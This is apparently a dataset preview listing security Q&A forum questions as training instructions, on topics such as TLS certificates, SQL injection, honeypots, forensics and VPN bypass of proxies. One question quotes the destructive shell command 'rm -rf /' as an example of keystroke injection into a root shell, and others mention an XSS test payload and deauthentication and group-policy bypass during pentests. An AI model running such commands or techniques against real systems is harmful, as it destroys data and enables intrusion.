Split (1)

train · 180k rows

instruction stringlengths 24 29.9k
I've been reading about the definition of the sandbox pattern and reading one answer given here. In the idea of a real world sandbox, it wasn't made only to prevent the children from leaving it, but also to prevent unwanted visitors from entering it. What is the name of the pattern for this second situation? Where the software runs in a controlled space to prevent outsiders from interfering.
I am writing a program in Processing (which is basically java), that (amongst other things) downloads files from a FTP Server. To connect to the Server the program needs the correct FTP-password, which is currently saved as plain text in a String in the source code. The program should be given out to other people later, so I'm guessing this is not a very safe way to store the password. What would be a good way to protect the password?
I am working on a persistence model for SSH Private keys. The technology used is Java. Since the persistence structure of the public and private keys is pretty similar and using some of the Java APIs like java.security.interfaces.RSAPrivateCrtKey, I am able to derive the public keys. So this makes me wonder if only persisting the private keys is enough and later derive the public key out of it? I believe this boils down to few important questions that I like to get an answer for: Is it always the case that I can get information/ metadata required to create a public key from the Private key. e.g. in case of RSA, it seems java API provides modulus and public exponent. Does the information recreated will always be same? If I get an SSH private key as a file, is there a possibility that it does not contain the public key related information.
what s the longterm security margin of of a winzip or Winrar file encrypted with aes-256 and a password consisting of 64 completely random characters set a-z 0-9 and other printable special characters)? How long will such a file be safe against an enemy with a large GPU cluster? My own calculation is that the possible number of passwords is 96^64. I have searched but all the amazing success stories turning up are about bruteforcing of weaker MD5 and Windows passwords. Very little specific about cracking of Winzip, Winrar or PGP protected files on GPUs where the password is longer than 10 characters. Does it mean that Winzip, Winrar and PGP encrypted files are not easily subject to the same attacks? Or does it mean that we'll have to wait a few years before this security margin is broken by evolution in computational power?
We have a secure server that seems to only be sending over the identity certificate. Running the hostname through Qualys says that only 1 cert was provided. The intermediate had to be downloaded on the fly. This is not a problem for browsers but we have a custom app which uses an SSL library to connect to these servers that can't build alternate paths or download certs on the fly. We have double checked and the server does have the proper certificates installed. Has anyone ever ran into this?
So i have a https login page with standard username and password inputs. I put in simple xss test such as, alert(‘XSS attack’) the page displays a "credentials you have supplied are incorrect" warning. I dont get a pop up window but the whole line is reflected in html code. Is this still xss or?
Hello I am considering installing owasp mod_security crs on an ubuntu 12.04.4 which comes with apache 2.2.22. On the github page I have seen many version's but all tutorials were using 2.2.7 First I figured it's because the posts are using the available version at the time of writing . Is there any caveat using version 3.0.0 in apache 2.2.22? Since I have used 2.2.7 before I wanted to ask some one who has gone down this path (3.0.0) before going ahead Thanks in advance
I find it very strange that bank use service like SiteKey without user-agent identification. This still makes them very vulnerable to MitM attack which is exactly what they are trying to protect against with this technique. How a man in the middle attack works against an online bank. The user communicates with the the phisher, while believing that she is speaking to the bank. The phisher can use deceit to query the user for more information than the bank would normally ask for. Using this additional information, the phisher can communicate with the bank, while pretending to be the user. I was wondering if using user-agent identification would help against MitM attack. The idea behind user-agent identification is that it's a secret that is known to the user-agent, like the browser, but it not known to the user. This makes a difference because the user-agent will only send his secret to the real website, while a user might write down his secret to any phishing site. Example An example would be to set a cookie to identify the browser via a link sent in an email to that user. When the user access the link, it sets a cookie for the site it wants to log in. Then, when the user want to log in to that site, the site check if the browser the user is using have that specific cookie. If he does, then the site show the SiteKey phrase and picture. If he doesn't, then the site ask the user to identify it's browser. Glossary User : The person trying to access a website. Example : you User-agent : It's the tool that the user use to access a website. Example : a browser User-agent secret : Something that is known by the user-agent, but not necessarily by the user. Example : a cookie User-agent identification : The process by which the website the user is trying to access validate that a specific user-agent is authorized to access this website under that specific username. Example : by validating that a cookie containing a secret code associated to the username is set on that browser Additional notes SSL/TLS : Of course you need that since there is no security without it... Why do we need to set the cookie by an email link? If you read about SiteKey, you will find out that they are indeed trying to do user-agent identification using a cookie! But they are failing... Why does BoA allow users to get access to their SiteKey image after answering her security questions? The reason is simple. Normally, BoA knows to present the right SiteKey image to a user because it recognizes the computer that user logs in from as belonging to the user in question. This is done using secure cookies. But what happens if there are no cookies? Say that the user wants to log in to her BoA account from a computer that she has not successfully used to connect to BoA's website with before. Before sending the SiteKey image to the user, BoA will require the user to provide some evidence of her identity - the answers to the security questions. Once BoA receives these, and has verified that they are correct, then it will send the user's SiteKey image to the user. That allows the user to verify that it is really communicating with BoA, and not an impostor, which in turn, provides the user with the security to enter her password. The problem is that the way to prove the user identity is by asking him a question... The phishing site can then directly ask this question to the user and it's game over. It's different if the cookie is set by a link in an email. If the website doesn't recognized the broswer, it will send an email to the user. This means that unless the attacker, the phishing site, has access to the user email, he cannot set the cookie hence he cannot impersonate the user. It's also important that the cookie is set by visiting a link and not by writing a secret code that you receive by email. If you can't trust the user to enter his password on the right site, can you trust him to enter the code on the right site? Other interesting links What is this authentication method/approach called? Is SiteKey a valid defense against Phishing?
I need to pass an IP to a PHP page, and it would be convenient to be able to use GET, but I know that's sort of asking for trouble, so I want to triple-check that I'm handling it securely. if(!filter_var($_GET["ip"], FILTER_VALIDATE_IP)) { echo "Invalid IP."; die(); } $ip = (string)$_GET["ip"]; Is this secure enough to be able to put $ip in a database or display it on a page? Or are there any vulnerabilities with FILTER_VALIDATE_IP (or perhaps the way the code is structured) that I should worry about?
I have a very simple app that does allow unauthenticated users to leave comments (maybe later I will incorporate a capatcha). The app then stores the comments in a mysql db. I do my best to filter out special characters but I do not think that is the best approach. What is the best approach to guard against SQL-Injection attacks? Additionally, the site is heavy in javascript and so I will probably rewrite some of the logic to be server-side. The main vulnerability I see would be a callback function that sends a string to the server. This string is parsed and then submitted to the db. Is this a real vulnerability and if so, how do I fix it? Also, is having logic on the client a risk? What is the criteria there? Lastly, how do I implement a simple password hash for the db? Do I just follow these instructions? (I ask because I tried and failed but just wanted to make sure I'm chasing the right rabbit) Also, am I missing anything big?
With CAcert.org losing trust in browsers and OSs and StartSSL providing only top-level domain certificates, are there any free SSL certificates providers for second-level domains?
Identity Providers (IdP) often provide a metadata file that is used when setting up SAML. This file needs to be entered into a Service Provider (SP). Do we need to keep this metadata file private and secure? Or is the information within it all safe to make public? I'm curious when setting up a service provider what level of protection we must place on this information.
I’m not a security expert. I wasn't sure if I should post this question here or in "exploit". I have searched for answers before posting.... Could anyone tell me how I can determine if emails are being sent from a particular computer? The situation is this. A friend of mine is getting prank or “bogus” email messages. He believes it is being sent by one of his students as a prank. He does receive legitimate email from the parents. But he believes that the kid is using his mom’s email account. It appears that this punk kid used his mom’s email account to originate emails. Also, he signed up for some dating (or porn site?) named “myzamana.com” and signed his mom’s name so that my friend is now getting solicitation emails from that web site. I know that DHCP routers will retain the IP address assignments for some duration as set in the router config. Typically in a home there are not too many devices connecting, and the router can retain the IP address assignments of each connecting device. But one would have to know the address assignments for the devices in the first place in order to determine the originating device sending an email address. Correct? My first answer to my friend is that it is not possible to determine the actual computer that was used (e.g. the kid used his own computer but logged in using his mom’s account) by simply looking at email message headers, partly for the above reason. All I can glean from the attached email header is that there are some 10.x.x.x IP addresses but these are just private LAN IP addresses. I’m enclosing some email headers that my friend forwarded me (below). I edited the legitimate email addresses for privacy considerations. Can anyone enlighten me, even if that means pointing me to some education links where I can read up on the relevant appropriate technology. Many thanks, "punk kid name" Received-SPF: pass (google.com: domain of punkKidEmail@yahoo.com designates 98.138.120.56 as permitted sender) client-ip=98.138.120.56; Message-ID: <1401496665.6237.YahooMailNeo@web162306.mail.bf1.yahoo.com> Date: Fri, 30 May 2014 17:37:45 -0700 (PDT) From: punk kid name <punkKidEmail@yahoo.com> Reply-To: punk kid name <punkKidEmail@yahoo.com> Subject: Freshmen Tennis To: "destination.email@gmail.com" <destination.email@gmail.com> MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="1844268657-78743074-1401496665=:6237" --1844268657-78743074-1401496665=:6237 Content-Type: text/plain; charset=us-ascii Hello tennis coach. My name is punk kid name and I ************************ Mom's name - myzamana ..." Received-SPF: pass (google.com: domain of noreply+b-189953972bef97785214693711_48a8d467be3e320fd4c02dca0f600183@m1.myzamanamail.com designates 192.155.81.148 as permitted sender) client-ip=192.155.81.148; To: destination.email@gmail.com From: Mom's name <noreply@m1.myzamanamail.com> Reply-To: noreply+b-189953972bef97785214693711_48a8d467be3e320fd4c02dca0f600183@m1.myzamanamail.com Subject: =?utf-8?B?4piFIE5pcywgTGluZGEncyBGYXZvcml0ZSBQaG90b3M=?= Date: Tue, 10 Jun 2014 16:01:51 +0000 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="_=_swift-121288024853972bef9e5808.62301993_=_" Content-Transfer-Encoding: 7bit Precedence: bulk Message-ID: <20140610160151.23826.1626722214.swift@dolores> This is a message in multipart MIME format. Your mail client should not be displaying this. Consider upgrading your mail client to view this message correctly. --_=_swift-121288024853972bef9e5808.62301993_=_ Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: 8bit Hi there, Nis, Follow my favorite photos on Picbum! https://www.picbum.com/?secret=b-189953972bef97785214693711_48a8d467be3e320fd4c02dca0f600183 Mom's name ************************** Received-SPF: pass (google.com: domain of noreply+b-3424539b95db08b54849462487_879174704e403edcc51d159cfdef9361@m10.myzamanamail.com designates 192.155.80.145 as permitted sender) client-ip=192.155.80.145; To: destination.email@gmail.com From: Mom's name <noreply@m10.myzamanamail.com> Reply-To: noreply+b-3424539b95db08b54849462487_879174704e403edcc51d159cfdef9361@m10.myzamanamail.com Subject: =?utf-8?B?4piFIE5pcywgTGluZGEncyBGYXZvcml0ZSBQaG90b3M=?= Date: Sat, 14 Jun 2014 00:22:51 +0000 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="_=_swift-1367413788539b95db4e1080.38411787_=_" Content-Transfer-Encoding: 7bit Precedence: bulk Message-ID: <20140614002251.26711.117550881.swift@hulk> This is a message in multipart MIME format. Your mail client should not be displaying this. Consider upgrading your mail client to view this message correctly. --_=_swift-1367413788539b95db4e1080.38411787_=_ Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: 8bit Hi there, Nis, Follow my favorite photos on Picbum! https://www.picbum.com/?secret=b-3424539b95db08b54849462487_879174704e403edcc51d159cfdef9361 Mom's name
When Symmetrically encrypting a file, (not signing, not an asymmetric encryption question), is it possible to conceal the encryption algorithm used, or is it already concealed, but just showing on systems as a result of being cached somehow? Analogy: When signing an encrypted file, it is possible to conceal the recipient ID. But how do you conceal the encryption algorithm used when using Symmetrical encryption using GnuPG, (gpg4win, in this case)? Example: gpg --armor --symmetric --cipher-algo AES256 --output encryptedOutputFile.asc unencryptedInputFile.txt and then: gpg --decrypt plaintextfile.txt yields: gpg: AES256 Encrypted Data gpg: encrypted with 1 passphrase Observation: Somehow, gpg4win is using Space Magic to infer what the symmetric algorithm is even before the passphrase is entered. How is this occurring? I tried to eliminate the possibility of the algorithm being present in the cache, but it still is being inferred. GPG uses CAST5 by default, so how is it inferring AES256? So, how is GPG inferring that AES256 is used, even before the passphrase is specified? Is there any way to conceal the algorithm used with a gpg -- flag? Thank you!
I'm creating a website that only allows nonprofits and government organizations (parks, etc) to sign up and post service project listings. The accounts posting the listings must be verified to protect the safety of the volunteers who want to go do the service projects. All nonprofits have an EIN that can be confirmed using an online database, but the downside is that anyone can look up the EIN and pose as the organization. In this question, the answer is to use financial transactions to verify the person, but with an organization, the volunteer coordinator (who would probably be making this account) likely doesn't have access to financial data (I've never worked with an organization like this so I could be wrong here). I thought about email verification, but not all organizations have contact emails posted on their websites to confirm against, as well as the access problems already mentioned with financial data. How can I verify that the person making the account is a representative of the nonprofit or government organization that they claim they represent?
I was always concerned about the model of trust behind CA stuff we use . Well, for most of us, it is OK to trust them, since they are reliable organizations with a bunch of solid experience. Browsers trust hundreds of CA and their subCAs, and I don't know any CA center that is under international jurisdiction(if you know, let me too). I believe that there is 98,74621% chance of some subCA's private key leak, "sponsored" by government and embedded in some DPI systems and ready to use out-of-box. You can just use MiTM attack once to decrypt needed comms. I don't think if there is anybody THAT paranoid to check 1000 times who is the issuer of SSL certificate. And this would be a myth until I found this article here(it is in russian): http://blogerator.ru/page/snjatye-s-kanala-bezopasnost-fsb-https-soedinenij-sud-vzlom-facebook-proslushka-sorm While there were other ways to obtain his password, I do belive (in some degree) in MiTM attack made by FSS RF. So... are there any publicly reported cases of misuse of governmental power and trust of browsers' devs? And what are the possible countermeasures? The only thing that cames to my mind is to discard all CAs , so everytime you will see warning, or to write an extension for browser which will monitor this changes. BTW, I think (not only)browsers should let us choose trusted CAs at the moment of installation,preferably based on physical and legal location of company and its servers.
X has some serious security problems, not the least of which is that any program using a given display can log keystrokes from any other program on that display. (This can be demonstrated easily using xinput.) Is there any way to mitigate this within a single X display, without losing essential things like shared clipboard support? e.g. would it be possible for a window manager to intercept all keystrokes, and pass them on only to the program owning the currently selected window? Also, is there at least any way to prevent programs from sending sequences of keystrokes to each other? As things are by default on almost all Linux distributions, a compromised program running in my account could send 'rm -rf /\n' to a shell prompt running as root. I know Linux has mandatory access control frameworks aplenty, but for purposes of spying on a user, those are all AFAIK rendered moot by X having insecure design from day one. What steps can be taken to reduce this hazard?
Are input fields that don’t have name attributes susceptible to MITM attacks (w/o SSL) or any other attack? For example: <form action="" method="post"> <label for="credit_card_number"><input id="credit_card_number" type="text" value="4111111111111111"></label> <button type="submit">Submit</button> </form> What I'm doing is using javascript to get the values, then posting to stripe.js, receiving a token and then clearing all the values of the CC fields before submitting the form to the server. I understand that SSL would be a good idea but would it be necessary? And why if so.
Is Google hangouts encrypted? Would my work's IT guys be able see pictures and text I send while on a work computer? Yes I know I shouldn't be sending stuff I don't want them to see while at work, but it wasn't at work. I use hangouts on my phone as well and just realized I use the hangouts Chrome plug-in at work and it was syncing all my conversations.
I don't know where to start in searching the forum for existing threads that might cover my issues. I recently received a spoof email pretending to be from a client for whom I've just started to do some basic SEO and content work. The email directed me to a problem URL on the site: http://clientdomainname.com/%E2%80%8E I have changed the domain name, but the rest of the URL string is exactly what I received. There is no page corresponding to the URL on the site, so it triggered a 404. The client did not send it, so I'm thinking that the URL may perhaps initiate some kind of script. My questions are: Are my concerns plausible? The sector has hotted up recently and there are some unscrupulous large businesses trying to push small players out. How can I find out if that URL string triggers some kind of malicious script? Should I ask the host (hostgator) to scan, or is there a better way to scan? What steps can I take to remove and prevent it from happening in future?
Lantern is an app to avoid censorship. It is hosted at getlantern.org. I just noticed that the cloud server my client is using is actually roundrobin.getiantern.org Notice the i in getiantern instead of getlantern. They look extremely similar with the app's font, I had to look very closely to see the difference. Should I be worried? Or can the getiantern domain be trusted? getiantern is not found in the Lantern source code.
Hi I am trying to get Kismac working. I downloaded the r407 version from here (http://trac.kismac-ng.org/wiki/Downloads) but when I scan for networks I get a never ending sceen saying "Loading Apple Extreme card, passive mode". When I try to use the other versions, I can scan the network but I get not packets with the passive mode. Does anyone knows how ot make Kismac work on MacOSX 10.9+? Many thanks for your help Best
Are there any studies regarding the security of PDF viewer software from different vendors? I try to find the most secure reader.
I have a server which has multiple NICs (ignoring redundant pairs): 'inward' facing production (connects to other servers); 'outward' external facing production (connects out to the internet via a DMZ), 'outward' internal facing production (connects to internal users including application admins); and management NIC that connects to the management network. My question then is, can I limit account access based on the NIC through which the user connected: for example: you can only access the root account or some sudoer accounts if you connected through the management NIC; you can only access application admin accounts if you connected through the internal-facing NIC?
I have some data in column of table of mysql database in the encrypted form applied with SHA-256. How to decrypt that data using Java? I stuck at this since 4 days. Please spend 5 minutes of your valuable time to provide code snippet to decrypt that code.
I am looking for sample test cases for all 10 vulnerabilities to exploit those scenarios. I would highly appreciate if any one share or share the link for test cases for a web application with all 10 vulnerabilities or any OWASP vulnerability?
I have the following question regarding the decryption of SSL traffic. The topology that I have in mind is like this: User-------MitM Proxy--------WebServer In the environment described earlier there is already a commercial proxy which is doing a man in the middle attack by replacing the original SSL certificate of the server with it's own. Can I decrypt the SSL traffic between the user and the proxy and send them un-encrypted to a forensics/sandbox solution? I have a tap device between the users and the proxy and the public and private key of the mitm proxy are available.
I have a memory dump. I know it is infected by a rootkit which uses its own file system installed at the end of the disk. Can there be any artifacts in dmp file to show this?
Some days ago I noticed that YouTube knows the videos I watched even though I deleted my cookies. I also was not using a YouTube-account. When I noticed I used IE 11. After some research I found out that YouTube uses zombie cookies. For those who don't know: zombie cookies are cookies that don't get deleted if you use the "delete cookies"-function in your browser. In most cases they are flash cookies and you have to delete those to "kill" these zombie cookies. But even after deleting my flash cookies YouTube still knew the videos I watched (I tested that in most cases on this site: https://www.youtube.com/feed/history This site shows you, how many videos you watched so far). So my question is: How is YouTube identifying my, even after deleting flash cookies? How can I can delete the information YouTube has of me?
I have heard that with forward secrecy that the ECDSA ciphers generate different keys for "each session" because they are not dependent on the private key of the server. My question is how is "each session" defined? Does this different key approach mean it happens with each consecutive/different SSL connection to say the same server or does it happen within the existing SSL connection as server side SSL re-negotiation request happen?
Symantec recently made a loud statement that antivirus is dead (http://online.wsj.com/news/article_email/SB10001424052702303417104579542140235850578-lMyQjAxMTA0MDAwNTEwNDUyWj ) and that they don’t really consider it to be a source of profit. Some companies said the same afterwards; some other suggested that Symantec just wants a bit of free media attention. Some companies just silently recommend using advanced information protection and press is full of data on antivirus efficiency being quite low. A notable example would be the Zeus banking Trojan and how only 40% of its versions can be stopped by antiviruses (http://www.bankinfosecurity.eu/banking-malware-new-challenger-to-zeus-a-7006/p-2 ). Arms race of protection and malware developers is probably not going to stop, so this situation will remain. On the other hand, nobody was thinking too much of antivirus anyway for a long time already, so it’s hardly surprising. It’s not a panacea; the only question that remains is just how exactly should antivirus operate in modern security solutions. Should it be one of the key parts or protection solution or it should be reduced to protection against only the easiest and already well known threats? It’s not only about dealing with threats, too, there are also performance concerns. Processors get better and interaction with hard drives becomes faster but at the same time antiviruses require more and more of that power. Real time file scanning, constant updates and regular checks on the whole system only mean one thing – as long as antivirus is thorough, productivity while using this computer go down severely. And this situation is not going to change, ever, so we have to deal with it. But how exactly? Is the massive migration of everything, from workstations to automatic control systems in industry, even possible? Or maybe using whitelisting protection on windows-based machines is the answer? Or we should all just sit and hope for Microsoft to give us a new windows with good integrated protection like windows 8 is stated to have? Any other ways to deal with it?
I have some questions about squid proxies, we set a squid proxy server to block certain web sites for users. and some users only can access one website that related to our work.but after install some VPN software it can bypass squid proxy server. and access all web sites that blocked by squid how this happen ? i don't have good knowledge about how squid proxy working and how VPN software tunneling through the squid proxy, I really want to know how those things happen.
I will be traveling abroad for several weeks on a business trip as a consultant. I will carry a laptop with an IDE and all the necessary source code so I can make changes on site (which is the purpose of this trip). The boss is very worried about the source code being stolen. I have put forward the idea of filling the USB ports with glue, but my boss thinks I’m being silly and wants real ideas. I understand any security is only going to slow people down, but ideally I’m looking for a setup where, if anyone got the laptop without my notice (say, while I was sleeping and returned it before I awoke), they could not have accessed the data in such a small amount of time. I guess some form of encryption would be necessary.
I would like to know how can I analyse an obfuscated malware php code ? I heard about cuckoo sandbox, but it seems too overwhelming for this particular task. So I decided to run a Vagrant box, install php-cli, tcpdump, ... run the php code and look for connections with tcpdump for example ... What would you do in such case ? I would like to know if there is some dedicated tools for specific php malware/backdoor analysis ? Thanks :)
In normal asymmetric crpyto like RSA, if Alice encrypts something using her private key, Bob can decrypt it using Alice's public key. Is the same possible in Identity-Based Cryptography, where the public key is usually the user's email address? So if Alice encrypts something using her private key, can Bob decrypt it using her email address? I am asking this because in all the literature I have come across, it says that Encrypt operation encrypts messages using the public key ID, and Decrypt operation decrypts messages using the corresponding private key.
I am interested in drive-by download attacks. For the moment, the oldest article I found on internet treating about it is this one. Does someone know when first the expression drive-by download attack was used ? And what was the first successful attack ever performed ?
Imaging the following pseudo-code: h = hash(sha512) h.input(password) h.input(message) send h, message to client If the user has the hash and the message, and the only missing variable is the password, then why can't you reverse engineer the password without brute forcing it? Math has taught me that if you have two out of three variables, then you can always work out the missing one.
I'm looking for an open source security dashboard that gives a basic overview of security warnings. Google has pointed me in a few directions but nothing promising. I need something to deal w/ selinux alerts, mod_security violations and hopefully have an api that can send/create new alerts to display (i think i might be asking too much, sadly). A few have suggested custom graphs in kibana but would be nice to hear other peoples thoughts. Thanks
Hopefully this question is deemed acceptable for this area of stackexchange. if not let me know what other site to use. Anyways i'm seeking advice on how you try to eliminate spam in your daily lives. What i've done up to this point is just a total pain and i'm about to give up. I own my own domain. I essential have group email addresses. For example i have one email address for orders, one for forums, one for things that require my email that i never want to hear from, ect... Why is this such a pain? Well i use office 365 and you have to pay for each email address (so i only have 1). You can create forward email addresses so forward1@example.com will get redirected to mymainemail@example.com but you can email from the forwarded addresses. So i can't send an email from forward1@example.com which has caused issues. Also say if you used forward1@example.com for all your orders and you have 50 sites you order from....not so easy to change is it? I will never be able to eliminate all but one account because you need say a google account if you use their services and a live.com account if you microsoft service but at least it would greatly diminish the headache i have now? Would you just forget about trying to use multiple email addresses and rely on strong spam protection? To be honest with you no one has my main email address...so at this point what good is it :). We know no matter how careful you are eventually spam bots will get ahold of your address somehow (in someone elses address book or because of weak security on a site).
Is a printer SSL cert really necessary if you just print? I don't use https for any administration; just http. I got a vulnerability saying that my cert was out of date.
I am using volatility recently and I noticed that it uses kdbgscan command, that is about kernel debugger block. Can someone explain in plain words what is it and why are we using it?
I understand that digital signatures are usually implemented by encrypting a message digest with a private key, decrypting the resulting signature with a public key, and verifying that the message digest matches the message. This seems to be a normal application of an asymmetric encryption algorithm rather than a different algorithm, but is there anything about the scheme that makes it vulnerable to additional classes of attack over and above those that the underlying asymmetric encryption algorithm might suffer? For example, does the use of a message digest algorithm, or the presence of the plaintext message, provide any additional information that an attacker can use to defeat the scheme? To clarify what I'm asking: public-key encryption might be defeated by attacks such as chosen plaintext, or a breakthrough in factoring large numbers. Does using a public-key encryption algorithm in a digital signature scheme enable any additional types of attack?
Im courious to know about how these large enterprises secure their linux desktop as Google does with ubuntu LTS. I am the only user at home with linux on the desktop and had already created some iptables incoming rules and that all. I want to copy some of those methods for my own desktop. How do they configure the following? IPTables rules (in/out/fwd) Antirootkit (apps/notifications of warnings and threats founds) Antivirus (apps/notifications of warnings and threats founds) Banned Repositories Banned defaults apps AppArmor/SELinux settings GUI Policy Settings (polkit) X-Windows / Unity settings Allowed web browser (firefox?) Allowed browser plugins (adblock, noscript?) Malware detection daemons Anything important not listed Thanks.
I recently installed Guest Additions in my Windows 7 Virtual Machine because I could not stand working without widescreen and high resolution. I have read somewhere that this could be a possible vulnerability that an attacker could use to enter the host system but I guess this risk I will take. I am wondering if I imported my sensitive password safe files into my host system and later overwrite them using Eraser ( >30 Gutmann Passes) what a data forensic could do with the information he finds on my hard drive. I think he would see that there are some segments on the hard drive that have been overwritten. I have a second cloud account containing a keepassfile with non sensitive data prepared to feed to those people in that case. One problem I see is that the size of my keepassfile that I keep on a second cloud account containing non sensitive data is smaller than my sensitive keepassfiles. Furthermore my sensitive keepassfiles consist more than one file (I could change that of course by compressing them to a zip file or build one keepassfile out of the three). I don't know if it would be better for me to continue like I do at the moment which means downloading my keepassfiles from a cloud server inside my virtual machine or if I should change my routine to downloading the files from the cloud server into my host system and use the shared clipboard function of Virtual Box to import each password string into the guest machine. Security-wise, I came to the conclusion that it would be better to copy and paste the files from the host machine into the virtual machine using a shared clipboard because if a homepage I visit exploits any browser vulnerabilities I would maybe get an alert from my antivirus and could roll the machine back to an earlier state without getting my keepasfiles lying on my host system infected/stolen. The only problem I see is the plausible deniability factor. If an adversary with data forensic skills would gain physical access to my machine and finds traces of the files I wiped after a session which differ in size from my "fake files" lying on my second cloud account he could start asking questions. What I did for some time was reading the password in one virtual machine and typing it in into the virtual machine that I use for browsing but after a while it gets extremely annoying. What are your thoughts regarding the improvement of security of my setup, and the plausible deniability and security of my keepassfiles? Regarding the fact that I posted it anonymously I am not too concerned about the fact I did and also the fact that there are billions of people having the need for hiding their files for a lot of different reasons. I just want to know if sizewise the files must be the same if I wipe them with eraser. I am not talking about an NSA kind of threat model because they would maybe just enter my apartment when I am away, put cams and microphones everywhere and just watch me. I need deniability because the secret keepassfile contains data I don't want anybody to know about. So in case somebody with data forensic skills would ask me I can show him another file that also contains maybe sensitive data but not too sensitive and that guy is fed and happy.
How can i wipe RAM completeley before or during the shutdown process of Windows 7? I tried several programs and a script but later i noticed that all those options only claim to free unused RAM space.
Suppose that we have a process that generates passwords with entropy E. I'd like to compute the average time it would take for a brute-force attack to crack an MD5-hashed instance of such a password. From the entropy E (in bits), I can compute the total number N = 2E of candidate passwords in the universe from which a given password was chosen. On average, a brute-force attack would have to MD5-hash N/2 candidate passwords in order to crack a specific instance. But this calculation does not give me the amount of time that this would take. For this I need some multiplier for computational performance, something of the form "x candidate passwords/second". I imagine that computer security experts have some rule-of-thumb number to plug in for such multiplier x. If so, what is it? (Of course, if the multiplier x does not take into account the possibility of multiple processors working in parallel, then whatever time one computes using such a multiplier would have to be divided by the number P of processors that the attacker can have running in parallel. If there's a standard rule-of-thumb-like value for P, I'd be interested in that too.)
I am reading about OPENVPN and I am a little bit confused. In the OPENVPN howto website, there is a step by step setup guide for generating certificates and diffie-hellman (DH) params. However, I cant see why the certificates are used in conjunction with DH. I think about this in the following way: The certificates and private keys are used for asymmetric encryption (so all the encryption is done asymmetrically which is not practical), while DH is used to generate the secret key in order to use HMACs to ensure message authentication. I am not sure about my thinking. Could someone please clarify this for me?
I hope this is in the right place, don't know where else to ask. I would like to automatically send a download link to people that directly downloads an executable. The executable is a verified and safe file. People will request this email with the download link themselves. Will I risk compromising the integrity of the emailaddress im sending from by being blacklisted if I send such emails. If so would zipping the file be better? Or should I direct people to a web page where they need to click again to download the file? I would like the download to be as hassle free as possible but also trustworthy to the people im sending it to. And off-course not risk being blocked by any spam filters of be blacklisted.
So I am running pentest on a device running Win7 and admin user set group policy to disable all mass storage devices and all usb's. I have access to local user without privs. Although my usb stick wont work and group policy rules wont let me my USB flash, USB modem or anything but my iPhone works as a USB storage device somehow (it is not jailbroken thus I can only reach to photos but still it works). I am only allowed to plug in usb keyboard and mouse actually (and yes rubberducky has been tried) So I have two questions, Do you have any idea why this happens? How can I exploit this more? What is the solution/work around? Can I use this to bypass all the group policies? Lazy question alert Does anyone know any detailed info (aka how to exploit) about cve2014-1812? PS: I am not sure if this is off-topic, I struggled to decide and maybe a little off topic my question is (Yoda v0.1 here) but I am not the admin of the system, but pentester so I posted here due to my point of view...
Recently I saw something new (at least for me) in log file [% tools.ua.random() %] as below: 199.246.2.10 - - [21/Aug/2014:13:25:15 +0545] "POST /wp-login.php HTTP/1.1" 200 2809 "http://mywebsite.com/wp-login.php" "[% tools.ua.random() %]" 64.34.173.227 - - [21/Aug/2014:13:25:32 +0545] "POST /wp-login.php HTTP/1.1" 200 2809 "http://mywebsite.com/wp-login.php" "[% tools.ua.random() %]" 91.109.3.166 - - [21/Aug/2014:13:25:32 +0545] "POST /wp-login.php HTTP/1.1" 200 2809 "http://mywebsite.com/wp-login.php" "[% tools.ua.random() %]" If someone has seen similar kind of log can anybody explain me what is this and how to stop it, may be by applying some rule in modsec. I think it is some kind of software used for ddos attack. I found this in web.
In my home pentest lab I though it would be interesting to try this scenario and see if it works: I have 2 computers and 1 AP, computer A is authenticated to the access point with WPA2 and computer B wants to run a MiTM attack on computer A by making it connect to a fake network. But, computer Bs antenna is not as powerful as computer As so in result computer B can only contact computer A and not the AP thus making a deauth attack though the usual tools useless. My question is this: Is there a way/utility to deauth a computer without being able to get a frame from the AP?
Due recent breaches that have occurred using weak remote access application passwords. I would like to setup my own honey pot on a windows machine to study their malicious intents. This is pretty easy I will install RDP, VNC and other such like applications and put a weak password. The second objective of the study I want to build a list of weak passwords that attackers use, how can I get the passwords ? I you would like to know how you would do it. I understand that are linux distros for honeypots. But I prefer using a Windows Machine because I have a VPS that I don't use and is running Windows, changing the OS is impossible. Thanks
I am trying to set up a CA for my company, and issuing every employee a digital certificate and a private key. I am worrying about revocation and expiration. In my case, the root certificate of CA is used to verify client identities, id est user must present a valid certificate and private key to access specific web pages (Apache VerifyClient require or Nginx ssl_verify_client on). If a user leaves the company or his/her private key is compromised, the certificate is added to CRL. As we can see, the CRL will grow longer and longer as employees come and go. This is not what I want. However, as every certificate has an expiration date (I set it to 180 days), can I remove expired certificates from the CRL? This can somewhat reduce the issue with over-sized CRL. Wikipedia article on "CRL" says that expiration should not be used as a substitution of revocation. I think they are talking about web browsers verifying web servers, as some users' computer may have incorrect time (thus trusting the expired certificates provided by web servers). However in my case, it is the web server that verifies users, so if I can ensure that the time on the web server is correct, can I remove those expired compromised certificates from CRL?
Lately I've been doing the trend of using passwords that are sentences, at least on sites that have a reasonable maximum character length and allow spaces. So for example the most basic variation is 'This is my password.', or 'This is my <insert website here> password.' It seemed rather silly to memorize a group of random words instead of simply rather constructing a sentence, which is way easier on muscle memory. Is this easier to predict?
Often it occurs that when bulk uploading files somewhere, the author forgets that some of the files are being open by Vim and uploads their swap files as well. Can this leak some sensitive information, perhaps about the author's machine or network?
my wordpress site suddenly be hacked via wp-config.php. I have never known this type of attack. When i scan my site, wpscan warn against this errors: How can i protect my site from this attack? Help, please! Thank in advance!
In the context of the following statement what is meant by context-dependent attacker? The MySQL Client contains an overflow condition in client/mysql.cc. The issue is triggered as user-supplied input is not properly validated when handling server versions. This may allow a context-dependent attacker to cause a buffer overflow, resulting in a denial of service or potentially allowing the execution of arbitrary code. Thank you!
If you were in charge of web application security and needed vulnerability scanner and had option between static code or dynamic code analysis which one would you prefer? (Of course, I realize, having both is the best answer) Also the scanners are just as good as their rule engines go. But as far as I have seen there are more dynamic scanners there are than static ones. Here is some info on pros and cons of both http://gcn.com/Articles/2009/02/09/Static-vs-dynamic-code-analysis.aspx?Page=1
I am talking about the PHP 5.3.3 package that is available in the Red Hat Enterprise Linux repository, running on Apache. From what I can see, as of RHEL 6, it is the latest version (no updates available). I assume security patches are backported, so my question is, with all other things being equal: Is this package less secure than if I had downloaded and compiled the latest stable release from the PHP site?
